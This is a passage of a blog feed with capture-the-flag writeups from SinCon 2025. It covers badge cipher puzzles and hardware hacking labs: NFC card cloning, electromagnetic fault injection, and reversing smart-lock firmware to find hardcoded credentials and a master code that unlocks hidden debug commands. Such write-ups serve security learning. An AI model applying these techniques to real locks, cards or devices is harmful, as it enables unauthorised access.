&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is a Bacon cipher. The pattern uses two different characters (represented by &apos;a&apos; and &apos;b&apos;) to encode letters.&lt;/p&gt;
&lt;p&gt;Decoding the cipher gives us: &lt;code&gt;SINCONDRAGON&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Since the flag format requires all lowercase.&lt;/p&gt;
&lt;p&gt;The flag is: &lt;strong&gt;sincondragon&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 2&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;That&apos;s one beautiful lanyard, innit?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The challenge references a physical lanyard with runic symbols. Using Google Lens to scan the symbols reveals they correspond to RUNE fonts.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/lanyard.BBFkU1AQ_1ckS3G.webp&quot; alt=&quot;Lanyard with Runic Symbols&quot;&gt;&lt;/p&gt;
&lt;p&gt;By decoding each runic character individually and converting to lowercase as required by the flag format.&lt;/p&gt;
&lt;p&gt;The flag is: &lt;strong&gt;sinconparc&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 3&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, decode the Base64 string to reveal a website URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-challenge-a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visiting the website reveals two split pieces of a QR code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/website1.BTZ8Oprh_Z1uBmgp.webp&quot; alt=&quot;Website Preview&quot;&gt;&lt;/p&gt;
&lt;p&gt;To solve this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Assemble the QR code&lt;/strong&gt; - Combine both pieces&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invert colors&lt;/strong&gt; - The second piece needs color inversion (can be done in PowerPoint or image editor)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/firstqr.DFaJawhb_ZnHjdY.webp&quot; alt=&quot;Original QR Before Inversion&quot;&gt;&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Scan the assembled QR&lt;/strong&gt; - This gives us the encoded message:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/completeqr.BJnN0Y2I_2sXON4.webp&quot; alt=&quot;Complete QR Code&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jrypbzr gb gur cnex g0n-c4l0u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using a cipher identifier, this appears to be ROT13. Decoding it reveals:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;welcome to the park t0a-p4y0h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag is: &lt;strong&gt;t0a-p4y0h&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 4&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWdlcmJlci56aXA=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, decode the Base64 string to reveal a download URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-gerber.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Download and extract the ZIP file containing Gerber files (PCB design files for the dragon badge). Among the various Gerber files, examine &lt;code&gt;SINCON-copper3.gbr&lt;/code&gt; which contains the hidden message.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/chall4.C6_Ul8sB_2mYgze.webp&quot; alt=&quot;Challenge 4 Message&quot;&gt;&lt;/p&gt;
&lt;p&gt;The message indicates to &quot;zigzag through the rails,&quot; suggesting this is a Rail Fence cipher. Decoding the ciphertext from the last line using a Rail Fence decoder reveals the hidden message.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/decoderrail.kPdZ_CCe_ZNPCD6.webp&quot; alt=&quot;Rail Fence Decoder Result&quot;&gt;&lt;/p&gt;
&lt;p&gt;The flag is: &lt;strong&gt;dr4g0n-c1ty&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 5&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWRyYWdvbi1yb2Fy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, decode the Base64 string to reveal a website URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-dragon-roar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visiting the website shows an audio-related challenge. The audio file can be accessed by appending &lt;code&gt;.wav&lt;/code&gt; to the URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-dragon-roar.wav
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Listening to the audio reveals it&apos;s a rickroll. The website contains a hint: &quot;if anyone asks: the meme is the secret to the universe!&quot; This suggests using steganography with &quot;rickroll&quot; as the password.&lt;/p&gt;
&lt;p&gt;Using steghide to extract hidden data from the audio file with the password &lt;code&gt;rickroll&lt;/code&gt; reveals a hidden text file &lt;code&gt;dragonsecret.txt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/steghide.dPJZ3tD-_ZRohdc.webp&quot; alt=&quot;Steghide Extraction&quot;&gt;&lt;/p&gt;
&lt;p&gt;The extracted file contains:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The dragon will... bre4th-f1r3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag is: &lt;strong&gt;bre4th-f1r3&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 6&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Decoding the Base64 string reveals a URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-challenge-b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The website contains another hidden challenge similar to the previous one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/chall6.BavsU18p_mEfB.webp&quot; alt=&quot;Website Preview&quot;&gt;&lt;/p&gt;
&lt;p&gt;Following the same pattern as Challenge 3, I appended &lt;code&gt;.png&lt;/code&gt; to the URL to access the challenge image directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-challenge-b.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The image displays a series of semaphore flag positions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/chall6pic.lG2daP9S_HsxlI.webp&quot; alt=&quot;Semaphore Flags&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using a semaphore decoder, each flag position corresponds to a letter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./assets/dcodesemaphore.webp&quot; alt=&quot;Semaphore Decoder&quot;&gt;&lt;/p&gt;
&lt;p&gt;The flag is: &lt;strong&gt;dr4gon-fru1t&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 7&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;g13 f4 -16 e3 g7 t1 d10 014 419 h2
s9 p17 i8 412 l5 y20 r11 118 a6 n15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This cipher uses character-index pairs where each number represents a positional index. Extract the first character of each pair and sort by their numerical values.&lt;/p&gt;
&lt;p&gt;Extracting character-index pairs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;g13, f4, -16, e3, g7, t1, d10, 014, 419, h2, s9, p17, i8, 412, l5, y20, r11, 118, a6, n15
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sorting by index values (1→20):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;t1, h2, e3, f4, l5, a6, g7, i8, s9, d10, r11, 412, g13, 014, n15, -16, p17, 118, 419, y20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reading the characters in order: &lt;strong&gt;theflagisdr4g0n-p14y&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The flag is: &lt;strong&gt;dr4g0n-p14y&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Challenge 8&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aGFja2Vyd2FyZS5pby9zaW5jb24yMDI1LWNoYWxsZW5nZS1j
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Decoding the Base64 string reveals another URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hackerware.io/sincon2025-challenge-c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Following the established pattern, accessing the challenge image reveals a T9 keypad cipher:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/chall8.DOzYsXix_Z2mmFi3.webp&quot; alt=&quot;Challenge 8 Preview&quot;&gt;&lt;/p&gt;
&lt;p&gt;The cipher text is: &lt;code&gt;3 777 2 4 (0) 66 - 66 (3) 7777 8&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Using T9 keypad decoding (where numbers correspond to multiple key presses):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 = d&lt;/li&gt;
&lt;li&gt;777 = r&lt;/li&gt;
&lt;li&gt;2 = a&lt;/li&gt;
&lt;li&gt;4 = g&lt;/li&gt;
&lt;li&gt;(0) = 0 (unchanged)&lt;/li&gt;
&lt;li&gt;66 = n&lt;/li&gt;
&lt;li&gt;- = - (unchanged)&lt;/li&gt;
&lt;li&gt;66 = n&lt;/li&gt;
&lt;li&gt;(3) = 3 (unchanged)&lt;/li&gt;
&lt;li&gt;7777 = s&lt;/li&gt;
&lt;li&gt;8 = t&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The flag is: &lt;strong&gt;drag0n-n3st&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/champion.BAFOMRp__12u8iT.webp&quot; alt=&quot;Champion Badge&quot;&gt;&lt;/p&gt;
&lt;p&gt;This completes the SinCon 2025 Dragon Badge CTF series - all 8 LEDs on the dragon badge are now successfully lit!&lt;/p&gt;</content:encoded><h:img src="/_astro/badge.BDPx4pJs.png"/><enclosure url="/_astro/badge.BDPx4pJs.png"/></item><item><title>The SinCon 2025 Hardware Hacking Kampung</title><link>https://gr1d-init.github.io/blog/sinconhardwarekampung</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/sinconhardwarekampung</guid><description>Writeups for SinCon 2025 Hardware Hacking Kampung CTF Challenges</description><pubDate>Sat, 24 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/header.HorPu6ws_ZfUWWe.webp&quot; alt=&quot;&quot;&gt;
I participated in the SinCon 2025 Hardware Hacking Kampung CTF and tackled challenges across multiple hardware security categories. Here are my writeups for the challenges I solved:&lt;/p&gt;
&lt;h2&gt;Challenge Solutions&lt;/h2&gt;
&lt;h3&gt;📡 NFC/RFID Exploitation&lt;/h3&gt;
&lt;h4&gt;RFID-1&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
NFC card cloning challenge that teaches the difference between NFC and RFID technologies. The task involves reading data from one NFC card and writing it to another card.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
This was straightforward to solve using the TagWriter mobile app. The process involved:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reading the original NFC card using a smartphone&lt;/li&gt;
&lt;li&gt;Writing the cloned data to a blank NFC card&lt;/li&gt;
&lt;li&gt;Key learning: Mobile phones can handle NFC but not RFID frequencies&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;⚡ Side Channel &amp;#x26; Fault Injection&lt;/h3&gt;
&lt;h4&gt;Fault Injection&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Electromagnetic Fault Injection challenge using the ChipSHOUTER (CW520) platform. This tool injects electromagnetic pulses to disrupt microcontroller operations and potentially bypass security mechanisms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
We used the ChipSHOUTER to perform privilege escalation on a target microcontroller. The process involved:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/usingfault.nK7fPT56_ZpuudR.webp&quot; alt=&quot;Fault Injection Setup&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Understanding the mechanism&lt;/strong&gt;: Microcontrollers operate with specific voltage thresholds for logic states (0s and 1s)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Applying electromagnetic interference&lt;/strong&gt;: The injector sends targeted EM pulses to disrupt normal operation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding the sweet spot&lt;/strong&gt;: Through trial and error, we located the precise timing and position where the fault injection successfully altered the execution flow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoiding false states&lt;/strong&gt;: We had to be careful not to crash the system while searching for the correct fault conditions&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The challenge was completed when we successfully triggered the fault injection at the right moment to achieve the desired privilege escalation state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{its_easy_to_fault}&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🛂 Firmware Extraction &amp;#x26; Analysis&lt;/h3&gt;
&lt;h4&gt;Reversing Master&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
Smart lock firmware reverse engineering challenge that requires privilege escalation through multiple authentication layers. The goal is to analyze a binary to understand its authentication mechanisms and find ways to access hidden debug functionality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
This challenge involved reverse engineering a smart lock firmware binary to uncover hidden debug functionality and escalate privileges. The key was understanding the authentication flow and memory structure to find the master code and debug commands.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/privilleges.aqj10S3E_Z23FIOa.webp&quot; alt=&quot;Privilege Analysis&quot;&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/crackprivilleges.AqM_W_5Y_2Cpz5.webp&quot; alt=&quot;Privilege Escalation&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Performed initial file analysis&lt;/strong&gt; to understand the binary format:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used &lt;code&gt;file&lt;/code&gt; command to identify binary type:&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/filetype.BqzTSTJp_ZdDT9x.webp&quot; alt=&quot;File Analysis&quot;&gt;&lt;/li&gt;
&lt;li&gt;Identified as MIPS architecture requiring emulation&lt;/li&gt;
&lt;li&gt;Set up &lt;code&gt;qemu-mipsel-static&lt;/code&gt; plugin to emulate the MIPS executable on x86 system&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analyzed the &lt;code&gt;main&lt;/code&gt; function&lt;/strong&gt; to understand program flow:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/mainfunc.Bfa59xg4_Z1Ty7J5.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prompts for username and password with &lt;code&gt;fgets()&lt;/code&gt;2. &lt;strong&gt;Analyzed the &lt;code&gt;main&lt;/code&gt; function&lt;/strong&gt; to understand program flow:&lt;/li&gt;
&lt;li&gt;Prompts for username and password with &lt;code&gt;fgets()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;authenticate_user()&lt;/code&gt; with credentials&lt;/li&gt;
&lt;li&gt;If authentication succeeds (privilege &gt; 0), enters &lt;code&gt;main_menu()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Examined &lt;code&gt;authenticate_user&lt;/code&gt; function&lt;/strong&gt; to understand credential validation:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/authenticate_user.INPw5VFN_25PKyj.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checks credentials against in-memory &lt;code&gt;users&lt;/code&gt; array with &lt;code&gt;strcmp()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Each user record is 68 bytes: 32-byte username + 32-byte password + 4-byte privilege
&lt;img src=&quot;https://gr1d-init.github.io/_astro/credentialsInMemory.CAVse0ad_7Yv3l.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;Found valid credentials in the users array:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;guest&lt;/code&gt; : &lt;code&gt;guest123&lt;/code&gt; → privilege level 1&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user&lt;/code&gt; : &lt;code&gt;password&lt;/code&gt; → privilege level 2&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech&lt;/code&gt; : &lt;code&gt;support&lt;/code&gt; → privilege level 3&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analyzed &lt;code&gt;main_menu&lt;/code&gt; function&lt;/strong&gt; for privilege escalation:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/mainMenu.Coig9Tia_1zCy0i.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Normal menu provides basic lock operations (Lock/Unlock/View Log/System Settings)&lt;/li&gt;
&lt;li&gt;Contains hidden master code check: &lt;code&gt;check_master_code(input)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If master code is correct, elevates privilege to level 99&lt;/li&gt;
&lt;li&gt;At privilege 99, commands starting with &lt;code&gt;!&lt;/code&gt; are passed to &lt;code&gt;handle_debug_command()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reverse engineered &lt;code&gt;check_master_code&lt;/code&gt; function&lt;/strong&gt;:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/checkMasterCode.DG9ZFsRJ_Zn1oxV.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XOR-decrypts two 32-bit values with key &lt;code&gt;171&lt;/code&gt;(&lt;code&gt;0xAB&lt;/code&gt;)
&lt;img src=&quot;https://gr1d-init.github.io/_astro/globalmastercode.CDM-LWVy_Z2dfnV8.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;master_code: 0x9C98989A&lt;/code&gt; and &lt;code&gt;dword_4A0028: 0x9BD39FC3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Decrypted master code: &lt;code&gt;1337h4x0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Discovered &lt;code&gt;handle_debug_command&lt;/code&gt; functionality&lt;/strong&gt;:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/handleDebugCommand.CSN19scV_ZReWHJ.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/debugcmd.1HOypOjQ_2spzbc.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two encrypted debug commands: &lt;code&gt;!debug&lt;/code&gt; and &lt;code&gt;!dump&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!dump&lt;/code&gt; displays memory contents via &lt;code&gt;dump_memory()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!debug&lt;/code&gt; calls &lt;code&gt;secret_debug_mode()&lt;/code&gt; revealing firmware info and the flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Executed the exploit&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Logged in with &lt;code&gt;tech:support&lt;/code&gt; to get privilege level 3&lt;/li&gt;
&lt;li&gt;Entered master code &lt;code&gt;1337h4x0&lt;/code&gt; to escalate to privilege 99&lt;/li&gt;
&lt;li&gt;Used &lt;code&gt;!debug&lt;/code&gt; command to retrieve the flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{r3v3rs3_3ng1n33r1ng_m4st3r}&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🔌 Hardware Protocol Analysis&lt;/h3&gt;
&lt;p&gt;These challenges utilize the CompatrIoT Board to explore various hardware communication protocols and analysis techniques.&lt;/p&gt;
&lt;h4&gt;UART1&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Hardware Protocol Analysis&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
UART (Universal Asynchronous Receiver-Transmitter) communication challenge using the CompatrIoT board. This challenge introduces serial communication protocols and teaches how to establish communication between microcontrollers and host systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
This challenge provided an excellent introduction to UART communication and serial terminal tools. The setup involved establishing two separate communication channels with the CompatrIoT board.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/wireconnection.CHwmb4Gc_Z2eQsau.webp&quot; alt=&quot;Wire Connection Setup&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Initial board connection and challenge access&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connected the CompatrIoT board to laptop via USB-C to USB cable&lt;/li&gt;
&lt;li&gt;This established the primary communication channel for challenge navigation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/Connection1compatriot.uVLoTxDC_Z2hKtcW.webp&quot; alt=&quot;Initial Connection&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Accessed the challenge selection interface on the board&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.9s4X19v0_ZyR3GL.webp&quot; alt=&quot;Challenge Menu&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Selected UART1 challenge by pressing &lt;code&gt;Enter&lt;/code&gt; to activate it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/session1.D5OkgDU3_1q4fxD.webp&quot; alt=&quot;Challenge Activated&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;UART communication setup&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Why FTDI is required&lt;/strong&gt;: The FTDI (Future Technology Devices International) chip serves as a USB-to-serial converter. While the CompatrIoT board&apos;s USB-C connection provides power and basic communication, the UART challenge requires direct access to the board&apos;s TX (transmit) and RX (receive) pins. The FTDI adapter converts these 3.3V/5V serial signals to USB, allowing the laptop to communicate with the UART interface.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connected UART pins with crossover wiring:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Board TX → FTDI RX&lt;/li&gt;
&lt;li&gt;Board RX → FTDI TX&lt;/li&gt;
&lt;li&gt;This crossover connection ensures proper bidirectional communication&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/connection2.3xCmqnON_Z1RFTt6.webp&quot; alt=&quot;UART Connection&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Serial communication with PuTTY&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Used PuTTY terminal emulator for serial communication&lt;/li&gt;
&lt;li&gt;Configuration settings:
&lt;ul&gt;
&lt;li&gt;Connection type: Serial&lt;/li&gt;
&lt;li&gt;Baud rate: 9600 (standard default for UART communication)&lt;/li&gt;
&lt;li&gt;COM port: COM7 (as detected in Windows Device Manager)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/sessionCOM7.CZs8E58__Z2v7IH0.webp&quot; alt=&quot;Challenge Interface&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Challenge completion&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The challenge presented a simple riddle&lt;/li&gt;
&lt;li&gt;Answer: &lt;code&gt;keyboard&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Successfully retrieved the flag upon correct answer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;compatrIoT{B4s1c_UART_C0mmun1cat10n}&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;UART2&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Challenge Description:&lt;/strong&gt;
UART communication challenge requiring baud rate discovery and mathematical problem solving.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;
This challenge required finding the correct baud rate to establish communication, then solving a numerical puzzle.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.BgytatKI_Z1fQAcK.webp&quot; alt=&quot;Challenge Interface&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Baud rate discovery&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tested standard baud rates systematically&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/standardbaudrates.BvMSCOro_ZlCoa9.webp&quot; alt=&quot;Standard Baud Rates&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Found correct baud rate: &lt;strong&gt;57600&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/correctbaudrate.CVtvecbf_J0ac7.webp&quot; alt=&quot;Correct Baud Rate&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mathematical puzzle&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Challenge presented a numerical calculation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/correctprompt.9cl_HTmA_Z2l5QUS.webp&quot; alt=&quot;Challenge Prompt&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
